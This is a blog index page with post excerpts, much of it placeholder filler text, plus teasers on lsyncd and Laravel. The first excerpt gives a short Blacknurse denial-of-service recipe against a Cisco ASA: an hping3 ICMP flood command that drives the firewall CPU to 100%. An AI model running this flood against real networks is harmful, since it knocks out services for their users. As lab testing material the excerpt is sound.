Our Writing

Idea, Case Study, Tutorial

Blacknurse DoS attack on Cisco ASA

Cisco ASA config: Outside: 192.168.9.136/24 Inside: 192.168.1.1/24 How to attack it: 1. Get a ubuntu or any Linux server, install hping3 (apt-get install hping3) 2. attack it: hping3 -1 -C 3 -K 3 -i u20 192.168.9.136 Monitoring from Cisco ASA ASDM, the CPU load spike to 100% in just few second time, and services in the inside zone start to…

Continue Reading

Our Role In The Market

Oxmox advised her not to do so, because there were thousands of bad Commas, wild Question Marks and devious Semikoli, but the Little Blind Text didn’t listen. She packed her seven versalia, put her initial into the belt and made herself on the way. When she reached the first hills of the Italic Mountains, she had a last view back…

Continue Reading

Busy People Working

A small river named Duden flows by their place and supplies it with the necessary regelialia. It is a paradisematic country, in which roasted parts of sentences fly into your mouth. Even the all-powerful Pointing has no control about the blind texts it is an almost unorthographic life One day however a small line of blind text by the name…

Continue Reading

Spawning new ideas

I think that's the single best piece of advice: constantly think about how you could be doing things better and questioning yourself.

Elon Musk

Pityful a rethoric question ran over her cheek, then she continued her way. On her way she met a copy. The copy warned the Little Blind Text, that where it came from it would have been rewritten a thousand times and everything that was left from its origin would be the word “and” and the Little Blind Text should turn…

Continue Reading

Setup lsyncd in Centos7

Lsynvd is a great tool for file sync across multiple web servers, instead of having a single NFS share, each web server will have their own copy of of files, solving single point of failure problem, and completely removing IOPS worry from web tier. The following guide is to setup lsyncd on the primary web server (where code changes or…

Continue Reading

Getting Started with Laravel

What is Laravel? From Wikipedia Laravel is a free, open-source PHP web framework, created by Taylor Otwell and intended for the development of web applications following the model–view–controller (MVC) architectural pattern. Some of the features of Laravel are a modular packaging system with a dedicated dependency manager, different ways for accessing relational databases, utilities that aid in application deployment and…

Continue Reading